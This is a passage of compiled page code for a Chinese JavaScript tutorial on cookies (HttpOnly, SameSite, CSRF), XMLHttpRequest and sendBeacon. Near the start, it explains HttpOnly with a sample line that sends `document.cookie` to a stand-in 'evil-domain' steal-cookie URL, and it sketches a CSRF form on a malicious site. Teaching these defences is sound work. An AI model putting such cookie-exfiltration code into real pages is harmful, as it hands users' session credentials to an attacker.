"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"http://www.evil-domain.com/steal-cookie.php?cookie="')]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" document"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("cookie"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("上面是跨站点载入的一个恶意脚本的代码，能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的"),s("code",[t._v("HttpOnly")]),t._v("属性，上面代码就不会读到该 Cookie。")]),t._v(" "),s("h4",{attrs:{id:"_3-4-samesite-防止-csrf-攻击和用户追踪"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-4-samesite-防止-csrf-攻击和用户追踪"}},[t._v("#")]),t._v(" 3.4 SameSite 防止 CSRF 攻击和用户追踪")]),t._v(" "),s("p",[t._v("Chrome 51 开始，浏览器的 Cookie 新增加了一个"),s("code",[t._v("SameSite")]),t._v("属性，用来"),s("strong",[t._v("防止 CSRF 攻击和用户追踪")]),t._v("。")]),t._v(" "),s("p",[t._v("Cookie 往往用来存储用户的身份信息，恶意网站可以设法伪造带有正确 Cookie 的 HTTP 请求，这就是 CSRF 攻击。举例来说，用户登陆了银行网站"),s("code",[t._v("your-bank.com")]),t._v("，银行服务器发来了一个 Cookie。")]),t._v(" "),s("div",{staticClass:"language- line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-text"}},[s("code",[t._v("Set-Cookie:id=a3fWa;\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("用户后来又访问了恶意网站"),s("code",[t._v("malicious.com")]),t._v("，上面有一个表单。")]),t._v(" "),s("div",{staticClass:"language-html line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-html"}},[s("code",[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("form")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("action")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token 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punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("写入的时候，Cookie 的值必须写成"),s("code",[t._v("key=value")]),t._v("的形式。注意，等号两边不能有空格。另外，写入 Cookie 的时候，必须对分号、逗号和空格进行转义（它们都不允许作为 Cookie 的值），这可以用"),s("code",[t._v("encodeURIComponent")]),t._v("方法达到。")]),t._v(" "),s("p",[t._v("但是，"),s("code",[t._v("document.cookie")]),s("strong",[t._v("一次只能写入一个 Cookie")]),t._v("，而且写入并不是覆盖，而是添加。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("document"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("cookie "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'test1=hello'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\ndocument"),s("span",{pre:!0,attrs:{class:"token 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的时候，"),s("code",[t._v("Set-Cookie")]),t._v("字段是一行设置一个 Cookie。")]),t._v(" "),s("p",[t._v("写入 Cookie 的时候，可以一起写入 Cookie 的属性。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("document"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("cookie "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("上面代码中，写入 Cookie 的时候，同时设置了"),s("code",[t._v("expires")]),t._v("属性。属性值的等号两边，也是不能有空格的。")]),t._v(" "),s("p",[t._v("各个属性的写入注意点如下。")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("path")]),t._v("属性必须为绝对路径，默认为当前路径。")]),t._v(" "),s("li",[s("code",[t._v("domain")]),t._v("属性值必须是当前发送 Cookie 的域名的一部分。比如，当前域名是"),s("code",[t._v("example.com")]),t._v("，就不能将其设为"),s("code",[t._v("foo.com")]),t._v("。该属性默认为当前的一级域名（不含二级域名）。")]),t._v(" "),s("li",[s("code",[t._v("max-age")]),t._v("属性的值为秒数。")]),t._v(" "),s("li",[s("code",[t._v("expires")]),t._v("属性的值为 UTC 格式，可以使用"),s("code",[t._v("Date.prototype.toUTCString()")]),t._v("进行日期格式转换。")])]),t._v(" "),s("p",[s("code",[t._v("document.cookie")]),t._v("写"),s("strong",[t._v("入 Cookie 的例子如下")]),t._v("。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("document"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("cookie "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'fontSize=14; '")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'expires='")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" someDate"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("toGMTString")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'; '")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'path=/subdirectory; '")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'domain=*.example.com'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br")])]),s("p",[t._v("Cookie 的属性一旦设置完成，就没有办法读取这些属性的值。")]),t._v(" "),s("p",[s("strong",[t._v("删除一个现存 Cookie 的唯一方法，是设置它的"),s("code",[t._v("expires")]),t._v("属性为一个过去的日期。")])]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("document"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("cookie "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("上面代码中，名为"),s("code",[t._v("fontSize")]),t._v("的 Cookie 的值为空，过期时间设为1970年1月1月零点，就等同于删除了这个 Cookie。")]),t._v(" "),s("h2",{attrs:{id:"五、xmlhttprequest-对象"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#五、xmlhttprequest-对象"}},[t._v("#")]),t._v(" 五、XMLHttpRequest 对象")]),t._v(" "),s("h3",{attrs:{id:"_1、简介"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_1、简介"}},[t._v("#")]),t._v(" 1、简介")]),t._v(" "),s("p",[t._v("浏览器与服务器之间，采用 HTTP 协议通信。用户在浏览器地址栏键入一个网址，或者通过网页表单向服务器提交内容，这时浏览器就会向服务器发出 HTTP 请求。")]),t._v(" "),s("p",[t._v("1999年，微软公司发布 IE 浏览器5.0版，第一次引入新功能：允许 JavaScript 脚本向服务器发起 HTTP 请求。这个功能当时并没有引起注意，直到2004年 Gmail 发布和2005年 Google Map 发布，才引起广泛重视。2005年2月，AJAX 这个词第一次正式提出，它是 Asynchronous JavaScript and XML 的缩写，指的是通过 JavaScript 的异步通信，从服务器获取 XML 文档从中提取数据，再更新当前网页的对应部分，而不用刷新整个网页。后来，AJAX 这个词就成为 JavaScript 脚本发起 HTTP 通信的代名词，也就是说，"),s("strong",[t._v("只要用脚本发起通信，就可以叫做 AJAX 通信")]),t._v("。W3C 也在2006年发布了它的国际标准。")]),t._v(" "),s("p",[t._v("具体来说，AJAX 包括以下几个步骤。")]),t._v(" "),s("ol",[s("li",[t._v("创建 XMLHttpRequest 实例")]),t._v(" "),s("li",[t._v("发出 HTTP 请求")]),t._v(" "),s("li",[t._v("接收服务器传回的数据")]),t._v(" "),s("li",[t._v("更新网页数据")])]),t._v(" "),s("p",[t._v("概括起来，就是一句话，AJAX 通过原生的"),s("code",[t._v("XMLHttpRequest")]),t._v("对象发出 HTTP 请求，得到服务器返回的数据后，再进行处理。现在，服务器返回的都是 JSON 格式的数据，XML 格式已经过时了，但是 AJAX 这个名字已经成了一个通用名词，字面含义已经消失了。")]),t._v(" "),s("p",[s("code",[t._v("XMLHttpRequest")]),t._v("对象是 AJAX 的主要接口，用于浏览器与服务器之间的通信。尽管名字里面有"),s("code",[t._v("XML")]),t._v("和"),s("code",[t._v("Http")]),t._v("，它实际上可以使用多种协议（比如"),s("code",[t._v("file")]),t._v("或"),s("code",[t._v("ftp")]),t._v("），发送任何格式的数据（包括字符串和二进制）。")]),t._v(" "),s("p",[s("code",[t._v("XMLHttpRequest")]),t._v("本身是一个构造函数，可以使用"),s("code",[t._v("new")]),t._v("命令生成实例。它没有任何参数。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" xhr "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("XMLHttpRequest")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 创建请求实例")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("一旦新建实例，就可以使用"),s("code",[t._v("open()")]),t._v("方法指定建立 HTTP 连接的一些细节。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("xhr"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("open")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'GET'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'http://www.example.com/page.php'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("true")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 请求方式，地址，是否异步")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("上面代码指定使用 GET 方法，跟指定的服务器网址建立连接。第三个参数"),s("code",[t._v("true")]),t._v("，表示请求是异步的。")]),t._v(" "),s("p",[t._v("然后，指定回调函数，监听通信状态（"),s("code",[t._v("readyState")]),t._v("属性）的变化。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("xhr"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("onreadystatechange "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" handleStateChange"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 回调函数监听请求状态变化，执行监听函数")]),t._v("\n\n"),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("function")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("handleStateChange")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// ...")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br")])]),s("p",[t._v("上面代码中，一旦"),s("code",[t._v("XMLHttpRequest")]),t._v("实例的状态发生变化，就会调用监听函数"),s("code",[t._v("handleStateChange")])]),t._v(" "),s("p",[t._v("最后使用"),s("code",[t._v("send()")]),t._v("方法，实际发出请求。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("xhr"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("send")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("null")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 发送请求，null表示请求时不带数据（如果是post请求则带数据）")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("上面代码中，"),s("code",[t._v("send()")]),t._v("的参数为"),s("code",[t._v("null")]),t._v("，表示发送请求的时候，不带有数据体。如果发送的是 POST 请求，这里就需要指定数据体。")]),t._v(" "),s("p",[t._v("一旦拿到服务器返回的数据，AJAX 不会刷新整个网页，而是只更新网页里面的相关部分，从而不打断用户正在做的事情。")]),t._v(" "),s("p",[t._v("注意，AJAX 只能向同源网址（协议、域名、端口都相同）发出 HTTP 请求，如果发出跨域请求，就会报错（详见《同源政策》和《CORS 通信》两章）。")]),t._v(" "),s("p",[t._v("下面是"),s("code",[t._v("XMLHttpRequest")]),t._v("对象简单用法的完整"),s("strong",[t._v("例子")]),t._v("。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" xhr "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("XMLHttpRequest")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n\nxhr"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function-variable function"}},[t._v("onreadystatechange")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("function")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("if")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("xhr"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("readyState "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("===")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("4")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 通信成功时，状态值为4")]),t._v("\n    "),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br")])]),s("p",[t._v("上面代码中，"),s("code",[t._v("GET")]),t._v("请求的参数，作为查询字符串附加在 URL 后面。")]),t._v(" "),s("p",[t._v("下面是发送 POST 请求的例子。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" xhr "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("XMLHttpRequest")]),s("span",{pre:!0,attrs:{class:"token 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function"}},[t._v("encodeURIComponent")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("password"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n\nxhr"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("open")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'POST'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'http://www.example.com'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("true")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br")])]),s("p",[t._v("注意，所有 XMLHttpRequest 的监听事件，都必须在"),s("code",[t._v("send()")]),t._v("方法调用之前设定。")]),t._v(" "),s("p",[s("code",[t._v("send")]),t._v("方法的参数就是发送的数据。"),s("strong",[t._v("多种格式的数据，都可以作为它的参数")]),t._v("。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("void")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("send")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("void")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("send")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("ArrayBufferView data"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 二进制数组")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("void")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("send")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("Blob data"),s("span",{pre:!0,attrs:{class:"token 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"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 字符串数据")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("void")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("send")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("FormData data"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 表单数据？")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br")])]),s("p",[t._v("如果"),s("code",[t._v("send()")]),t._v("发送 DOM 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"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("input")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("type")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("'")]),t._v("number"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("'")])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("name")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("'")]),t._v("birthDate"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("'")])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("value")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("'")]),t._v("1940"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("'")])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("input")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("type")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("'")]),t._v("submit"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("'")])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token special-attr"}},[s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br")])]),s("h4",{attrs:{id:"_4-5-timeout-事件-请求超时"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_4-5-timeout-事件-请求超时"}},[t._v("#")]),t._v(" 4.5 timeout 事件（请求超时）")]),t._v(" "),s("p",[t._v("服务器超过指定时间还没有返回结果，就会触发 timeout 事件，具体的例子参见"),s("code",[t._v("timeout")]),t._v("属性一节。")]),t._v(" "),s("h3",{attrs:{id:"_5、navigator-sendbeacon-卸载网页时发送数据"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_5、navigator-sendbeacon-卸载网页时发送数据"}},[t._v("#")]),t._v(" 5、Navigator.sendBeacon() 卸载网页时发送数据")]),t._v(" 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AJAX 能够发送成功。")]),t._v(" "),s("p",[t._v("类似的还可以使用"),s("code",[t._v("setTimeout")]),t._v("。下面是追踪用户点击的例子。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// HTML 代码如下")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('// <a id="target" href="https://baidu.com">click</a>')]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("const")]),t._v(" clickTime "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("350")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("const")]),t._v(" theLink "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" document"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token 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AJAX 有时间发出。")]),t._v(" "),s("p",[t._v("这些做法的共同问题是，卸载的时间被硬生生拖长了，后面页面的加载被推迟了，用户体验不好。")]),t._v(" "),s("p",[t._v("为了解决这个问题，浏览器引入了"),s("code",[t._v("Navigator.sendBeacon()")]),t._v("方法。这个方法还是异步发出请求，但是请求与当前页面线程脱钩，作为浏览器进程的任务，因此"),s("strong",[t._v("可以保证会把数据发出去，不拖延卸载流程")]),t._v("。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("addEventListener")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'unload'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" logData"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("false")]),s("span",{pre:!0,attrs:{class:"token 